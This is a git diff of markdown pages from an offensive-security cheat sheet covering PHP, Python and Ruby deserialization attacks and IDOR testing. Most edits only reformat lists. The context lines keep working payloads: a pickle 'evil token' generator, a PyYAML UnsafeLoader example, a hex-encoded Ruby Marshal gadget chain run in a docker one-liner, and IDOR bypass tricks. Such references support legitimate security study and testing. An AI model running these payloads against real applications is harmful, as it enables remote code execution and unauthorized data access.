* [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
|
* [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
|
||||||
|
|
@ -245,23 +240,22 @@ A valid PHAR includes four elements:
|
||||||
* [Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley](https://hackerone.com/reports/410882)
|
* [Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley](https://hackerone.com/reports/410882)
|
||||||
* [Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/407552)
|
* [Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/407552)
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [CTF writeup: PHP object injection in kaspersky CTF - Jaimin Gohel - November 24, 2018](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
|
* [CTF writeup: PHP object injection in kaspersky CTF - Jaimin Gohel - November 24, 2018](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
|
||||||
- [ECSC 2019 Quals Team France - Jack The Ripper Web - noraj - May 22, 2019](https://web.archive.org/web/20211022161400/https://blog.raw.pm/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
|
* [ECSC 2019 Quals Team France - Jack The Ripper Web - noraj - May 22, 2019](https://web.archive.org/web/20211022161400/https://blog.raw.pm/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
|
||||||
- [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - September 12, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1)
|
* [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - September 12, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1)
|
||||||
- [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - October 11, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2)
|
* [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - October 11, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2)
|
||||||
- [Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - xanhacks - August 11, 2022](https://www.xanhacks.xyz/p/php-gadget-chain/#introduction)
|
* [Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - xanhacks - August 11, 2022](https://www.xanhacks.xyz/p/php-gadget-chain/#introduction)
|
||||||
- [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)
|
* [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)
|
||||||
- [phar:// deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization)
|
* [phar:// deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization)
|
||||||
- [PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - February 13, 2024](https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html)
|
* [PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - February 13, 2024](https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html)
|
||||||
- [PHP Generic Gadget - Charles Fol - July 4, 2017](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
* [PHP Generic Gadget - Charles Fol - July 4, 2017](https://www.ambionics.io/blog/php-generic-gadget-chains)
|
||||||
- [PHP Internals Book - Serialization - jpauli - June 15, 2013](http://www.phpinternalsbook.com/classes_objects/serialization.html)
|
* [PHP Internals Book - Serialization - jpauli - June 15, 2013](http://www.phpinternalsbook.com/classes_objects/serialization.html)
|
||||||
- [PHP Object Injection - Egidio Romano - April 24, 2020](https://www.owasp.org/index.php/PHP_Object_Injection)
|
* [PHP Object Injection - Egidio Romano - April 24, 2020](https://www.owasp.org/index.php/PHP_Object_Injection)
|
||||||
- [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
|
* [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
|
||||||
- [PHP unserialize - php.net - March 29, 2001](http://php.net/manual/en/function.unserialize.php)
|
* [PHP unserialize - php.net - March 29, 2001](http://php.net/manual/en/function.unserialize.php)
|
||||||
- [POC2009 Shocking News in PHP Exploitation - Stefan Esser - May 23, 2015](https://web.archive.org/web/20150523205411/https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
|
* [POC2009 Shocking News in PHP Exploitation - Stefan Esser - May 23, 2015](https://web.archive.org/web/20150523205411/https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
|
||||||
- [Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019](https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/)
|
* [Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019](https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/)
|
||||||
- [TSULOTT Web challenge write-up - MeePwn CTF - Rawsec - July 15, 2017](https://web.archive.org/web/20211022151328/https://blog.raw.pm/en/meepwn-2017-write-ups/#TSULOTT-Web)
|
* [TSULOTT Web challenge write-up - MeePwn CTF - Rawsec - July 15, 2017](https://web.archive.org/web/20211022151328/https://blog.raw.pm/en/meepwn-2017-write-ups/#TSULOTT-Web)
|
||||||
- [Utilizing Code Reuse/ROP in PHP - Stefan Esser - June 15, 2020](http://web.archive.org/web/20200615044621/https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)
|
* [Utilizing Code Reuse/ROP in PHP - Stefan Esser - June 15, 2020](http://web.archive.org/web/20200615044621/https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)
|
||||||
|
|
|
||||||
|
|
@ -10,12 +10,10 @@
|
||||||
* [PyYAML](#pyyaml)
|
* [PyYAML](#pyyaml)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
|
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
|
||||||
|
|
||||||
|
|
||||||
## Methodology
|
## Methodology
|
||||||
|
|
||||||
In Python source code, look for these sinks:
|
In Python source code, look for these sinks:
|
||||||
|
|
@ -25,7 +23,6 @@ In Python source code, look for these sinks:
|
||||||
* `_pickle.loads`
|
* `_pickle.loads`
|
||||||
* `jsonpickle.decode`
|
* `jsonpickle.decode`
|
||||||
|
|
||||||
|
|
||||||
### Pickle
|
### Pickle
|
||||||
|
|
||||||
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
|
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
|
||||||
|
|
@ -71,7 +68,6 @@ evil_token = b64encode(cPickle.dumps(e))
|
||||||
print("Your Evil Token : {}").format(evil_token)
|
print("Your Evil Token : {}").format(evil_token)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### PyYAML
|
### PyYAML
|
||||||
|
|
||||||
YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
|
YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
|
||||||
|
|
@ -108,11 +104,10 @@ with open('exploit_unsafeloader.yml') as file:
|
||||||
data = yaml.load(file,Loader=yaml.UnsafeLoader)
|
data = yaml.load(file,Loader=yaml.UnsafeLoader)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
|
* [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
|
||||||
- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
|
* [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
|
||||||
- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
|
* [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
|
||||||
- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
|
* [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
|
||||||
- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
* [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
||||||
|
|
|
||||||
|
|
@ -2,7 +2,6 @@
|
||||||
|
|
||||||
> Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP
|
> Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Deserialization Identifier](#deserialization-identifier)
|
* [Deserialization Identifier](#deserialization-identifier)
|
||||||
|
|
@ -10,7 +9,6 @@
|
||||||
* [Labs](#labs)
|
* [Labs](#labs)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Deserialization Identifier
|
## Deserialization Identifier
|
||||||
|
|
||||||
Check the following sub-sections, located in other chapters :
|
Check the following sub-sections, located in other chapters :
|
||||||
|
|
@ -29,18 +27,17 @@ Check the following sub-sections, located in other chapters :
|
||||||
| Python Pickle | 80 04 95 | gASV |
|
| Python Pickle | 80 04 95 | gASV |
|
||||||
| PHP Serialized | 4F 3A | Tz |
|
| PHP Serialized | 4F 3A | Tz |
|
||||||
|
|
||||||
|
|
||||||
## POP Gadgets
|
## POP Gadgets
|
||||||
|
|
||||||
> A POP (Property Oriented Programming) gadget is a piece of code implemented by an application's class, that can be called during the deserialization process.
|
> A POP (Property Oriented Programming) gadget is a piece of code implemented by an application's class, that can be called during the deserialization process.
|
||||||
|
|
||||||
POP gadgets characteristics:
|
POP gadgets characteristics:
|
||||||
|
|
||||||
* Can be serialized
|
* Can be serialized
|
||||||
* Has public/accessible properties
|
* Has public/accessible properties
|
||||||
* Implements specific vulnerable methods
|
* Implements specific vulnerable methods
|
||||||
* Has access to other "callable" classes
|
* Has access to other "callable" classes
|
||||||
|
|
||||||
|
|
||||||
## Labs
|
## Labs
|
||||||
|
|
||||||
* [PortSwigger - Modifying serialized objects](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects)
|
* [PortSwigger - Modifying serialized objects](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects)
|
||||||
|
|
@ -55,9 +52,8 @@ POP gadgets characteristics:
|
||||||
* [PortSwigger - Using PHAR deserialization to deploy a custom gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain)
|
* [PortSwigger - Using PHAR deserialization to deploy a custom gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain)
|
||||||
* [NickstaDB - DeserLab](https://github.com/NickstaDB/DeserLab)
|
* [NickstaDB - DeserLab](https://github.com/NickstaDB/DeserLab)
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [ExploitDB Introduction - Abdelazim Mohammed(@intx0x80) - May 27, 2018](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
|
* [ExploitDB Introduction - Abdelazim Mohammed(@intx0x80) - May 27, 2018](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
|
||||||
- [Exploiting insecure deserialization vulnerabilities - PortSwigger - July 25, 2020](https://portswigger.net/web-security/deserialization/exploiting)
|
* [Exploiting insecure deserialization vulnerabilities - PortSwigger - July 25, 2020](https://portswigger.net/web-security/deserialization/exploiting)
|
||||||
- [Instagram's Million Dollar Bug - Wesley Wineberg - December 17, 2015](http://www.exfiltrated.com/research-Instagram-RCE.php)
|
* [Instagram's Million Dollar Bug - Wesley Wineberg - December 17, 2015](http://www.exfiltrated.com/research-Instagram-RCE.php)
|
||||||
|
|
|
||||||
|
|
@ -2,14 +2,12 @@
|
||||||
|
|
||||||
> Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby's Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects.
|
> Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby's Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Marshal Deserialization](#marshal-deserialization)
|
* [Marshal Deserialization](#marshal-deserialization)
|
||||||
* [YAML Deserialization](#yaml-deserialization)
|
* [YAML Deserialization](#yaml-deserialization)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Marshal Deserialization
|
## Marshal Deserialization
|
||||||
|
|
||||||
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
|
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
|
||||||
|
|
@ -18,7 +16,6 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
|
||||||
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
|
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## YAML Deserialization
|
## YAML Deserialization
|
||||||
|
|
||||||
Vulnerable code
|
Vulnerable code
|
||||||
|
|
@ -88,11 +85,10 @@ Universal gadget for ruby 2.x - 3.x.
|
||||||
method_id: :resolve
|
method_id: :resolve
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://www.elttam.com.au/blog/ruby-deserialization/)
|
* [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://www.elttam.com.au/blog/ruby-deserialization/)
|
||||||
- [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
|
* [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
|
||||||
- [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://pentesterlab.com/exercises/ruby_ugadget/course)
|
* [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://pentesterlab.com/exercises/ruby_ugadget/course)
|
||||||
- [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)
|
* [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)
|
||||||
- [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
|
* [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
|
||||||
|
|
|
||||||
|
|
@ -2,7 +2,6 @@
|
||||||
|
|
||||||
> Insecure Direct Object References (IDOR) is a security vulnerability that occurs when an application allows users to directly access or modify objects (such as files, database records, or URLs) based on user-supplied input, without sufficient access controls. This means that if a user changes a parameter value (like an ID) in a URL or API request, they might be able to access or manipulate data that they aren’t authorized to see or modify.
|
> Insecure Direct Object References (IDOR) is a security vulnerability that occurs when an application allows users to directly access or modify objects (such as files, database records, or URLs) based on user-supplied input, without sufficient access controls. This means that if a user changes a parameter value (like an ID) in a URL or API request, they might be able to access or manipulate data that they aren’t authorized to see or modify.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Tools](#tools)
|
* [Tools](#tools)
|
||||||
|
|
@ -16,19 +15,17 @@
|
||||||
* [Labs](#labs)
|
* [Labs](#labs)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
- [PortSwigger/BApp Store > Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e)
|
* [PortSwigger/BApp Store > Authz](https://portswigger.net/bappstore/4316cc18ac5f434884b2089831c7d19e)
|
||||||
- [PortSwigger/BApp Store > AuthMatrix](https://portswigger.net/bappstore/30d8ee9f40c041b0bfec67441aad158e)
|
* [PortSwigger/BApp Store > AuthMatrix](https://portswigger.net/bappstore/30d8ee9f40c041b0bfec67441aad158e)
|
||||||
- [PortSwigger/BApp Store > Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f)
|
* [PortSwigger/BApp Store > Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f)
|
||||||
|
|
||||||
|
|
||||||
## Methodology
|
## Methodology
|
||||||
|
|
||||||
IDOR stands for Insecure Direct Object Reference. It's a type of security vulnerability that arises when an application provides direct access to objects based on user-supplied input. As a result, attackers can bypass authorization and access resources in the system directly, potentially leading to unauthorized information disclosure, modification, or deletion.
|
IDOR stands for Insecure Direct Object Reference. It's a type of security vulnerability that arises when an application provides direct access to objects based on user-supplied input. As a result, attackers can bypass authorization and access resources in the system directly, potentially leading to unauthorized information disclosure, modification, or deletion.
|
||||||
|
|
||||||
**Example of IDOR**
|
**Example of IDOR**:
|
||||||
|
|
||||||
Imagine a web application that allows users to view their profile by clicking a link `https://example.com/profile?user_id=123`:
|
Imagine a web application that allows users to view their profile by clicking a link `https://example.com/profile?user_id=123`:
|
||||||
|
|
||||||
|
|
@ -47,7 +44,6 @@ https://example.com/profile?user_id=124
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
|
||||||
### Numeric Value Parameter
|
### Numeric Value Parameter
|
||||||
|
|
||||||
Increment and decrement these values to access sensitive information.
|
Increment and decrement these values to access sensitive information.
|
||||||
|
|
@ -56,7 +52,7 @@ Increment and decrement these values to access sensitive information.
|
||||||
* Hexadecimal: `0x4642d`, `0x4642e`, `0x4642f`, ...
|
* Hexadecimal: `0x4642d`, `0x4642e`, `0x4642f`, ...
|
||||||
* Unix epoch timestamp: `1695574808`, `1695575098`, ...
|
* Unix epoch timestamp: `1695574808`, `1695575098`, ...
|
||||||
|
|
||||||
**Examples**
|
**Examples**:
|
||||||
|
|
||||||
* [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789)
|
* [HackerOne - IDOR to view User Order Information - meals](https://hackerone.com/reports/287789)
|
||||||
* [HackerOne - Delete messages via IDOR - naaash](https://hackerone.com/reports/697412)
|
* [HackerOne - Delete messages via IDOR - naaash](https://hackerone.com/reports/697412)
|
||||||
|
|
@ -69,11 +65,10 @@ Some identifiers can be guessed like names and emails, they might grant you acce
|
||||||
* Email: `john.doe@mail.com`
|
* Email: `john.doe@mail.com`
|
||||||
* Base64 encoded value: `am9obi5kb2VAbWFpbC5jb20=`
|
* Base64 encoded value: `am9obi5kb2VAbWFpbC5jb20=`
|
||||||
|
|
||||||
**Examples**
|
**Examples**:
|
||||||
|
|
||||||
* [HackerOne - Insecure Direct Object Reference (IDOR) - Delete Campaigns - datph4m](https://hackerone.com/reports/1969141)
|
* [HackerOne - Insecure Direct Object Reference (IDOR) - Delete Campaigns - datph4m](https://hackerone.com/reports/1969141)
|
||||||
|
|
||||||
|
|
||||||
### Weak Pseudo Random Number Generator
|
### Weak Pseudo Random Number Generator
|
||||||
|
|
||||||
* UUID/GUID v1 can be predicted if you know the time they were created: `95f6e264-bb00-11ec-8833-00155d01ef00`
|
* UUID/GUID v1 can be predicted if you know the time they were created: `95f6e264-bb00-11ec-8833-00155d01ef00`
|
||||||
|
|
@ -83,12 +78,11 @@ Some identifiers can be guessed like names and emails, they might grant you acce
|
||||||
* a 2-byte process id
|
* a 2-byte process id
|
||||||
* a 3-byte counter, starting with a random value
|
* a 3-byte counter, starting with a random value
|
||||||
|
|
||||||
**Examples**
|
**Examples**:
|
||||||
|
|
||||||
* [HackerOne - IDOR allowing to read another user's token on the Social Media Ads service - a_d_a_m](https://hackerone.com/reports/1464168)
|
* [HackerOne - IDOR allowing to read another user's token on the Social Media Ads service - a_d_a_m](https://hackerone.com/reports/1464168)
|
||||||
* [IDOR through MongoDB Object IDs Prediction](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
|
* [IDOR through MongoDB Object IDs Prediction](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
|
||||||
|
|
||||||
|
|
||||||
### Hashed Parameter
|
### Hashed Parameter
|
||||||
|
|
||||||
Sometimes we see websites using hashed values to generate a random user id or token, like `sha1(username)`, `md5(email)`, ...
|
Sometimes we see websites using hashed values to generate a random user id or token, like `sha1(username)`, `md5(email)`, ...
|
||||||
|
|
@ -97,11 +91,10 @@ Sometimes we see websites using hashed values to generate a random user id or to
|
||||||
* SHA1: `a94a8fe5ccb19ba61c4c0873d391e987982fbbd3`
|
* SHA1: `a94a8fe5ccb19ba61c4c0873d391e987982fbbd3`
|
||||||
* SHA2: `9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08`
|
* SHA2: `9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08`
|
||||||
|
|
||||||
**Examples**
|
**Examples**:
|
||||||
|
|
||||||
* [IDOR with Predictable HMAC Generation - DiceCTF 2022 - CryptoCat](https://youtu.be/Og5_5tEg6M0)
|
* [IDOR with Predictable HMAC Generation - DiceCTF 2022 - CryptoCat](https://youtu.be/Og5_5tEg6M0)
|
||||||
|
|
||||||
|
|
||||||
### Wildcard Parameter
|
### Wildcard Parameter
|
||||||
|
|
||||||
Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respond with the data of all the users.
|
Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respond with the data of all the users.
|
||||||
|
|
@ -111,12 +104,6 @@ Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respon
|
||||||
* `GET /api/users/_ HTTP/1.1`
|
* `GET /api/users/_ HTTP/1.1`
|
||||||
* `GET /api/users/. HTTP/1.1`
|
* `GET /api/users/. HTTP/1.1`
|
||||||
|
|
||||||
|
|
||||||
**Examples**
|
|
||||||
|
|
||||||
* [TODO](#)
|
|
||||||
|
|
||||||
|
|
||||||
### IDOR Tips
|
### IDOR Tips
|
||||||
|
|
||||||
* Change the HTTP request: `POST → PUT`
|
* Change the HTTP request: `POST → PUT`
|
||||||
|
|
@ -124,21 +111,19 @@ Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respon
|
||||||
* Transform numerical values to arrays: `{"id":19} → {"id":[19]}`
|
* Transform numerical values to arrays: `{"id":19} → {"id":[19]}`
|
||||||
* Use Parameter Pollution: `user_id=hacker_id&user_id=victim_id`
|
* Use Parameter Pollution: `user_id=hacker_id&user_id=victim_id`
|
||||||
|
|
||||||
|
|
||||||
## Labs
|
## Labs
|
||||||
|
|
||||||
- [PortSwigger - Insecure Direct Object References](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
|
* [PortSwigger - Insecure Direct Object References](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [From Christmas present in the blockchain to massive bug bounty - Jesse Lakerveld - March 21, 2018](http://web.archive.org/web/20180401130129/https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
|
* [From Christmas present in the blockchain to massive bug bounty - Jesse Lakerveld - March 21, 2018](http://web.archive.org/web/20180401130129/https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
|
||||||
- [How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton - November 9, 2017](https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
|
* [How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton - November 9, 2017](https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
|
||||||
- [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - February 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
|
* [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - February 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
|
||||||
- [IDOR - how to predict an identifier? Bug bounty case study - Bug Bounty Reports Explained - September 21, 2023](https://youtu.be/wx5TwS0Dres)
|
* [IDOR - how to predict an identifier? Bug bounty case study - Bug Bounty Reports Explained - September 21, 2023](https://youtu.be/wx5TwS0Dres)
|
||||||
- [Insecure Direct Object Reference Prevention Cheat Sheet - OWASP - July 31, 2023](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
|
* [Insecure Direct Object Reference Prevention Cheat Sheet - OWASP - July 31, 2023](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
|
||||||
- [Insecure direct object references (IDOR) - PortSwigger - December 25, 2019](https://portswigger.net/web-security/access-control/idor)
|
* [Insecure direct object references (IDOR) - PortSwigger - December 25, 2019](https://portswigger.net/web-security/access-control/idor)
|
||||||
- [Testing for IDORs - PortSwigger - October 29, 2024](https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/testing-for-idors)
|
* [Testing for IDORs - PortSwigger - October 29, 2024](https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/testing-for-idors)
|
||||||
- [Testing for Insecure Direct Object References (OTG-AUTHZ-004) - OWASP - August 8, 2014](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
|
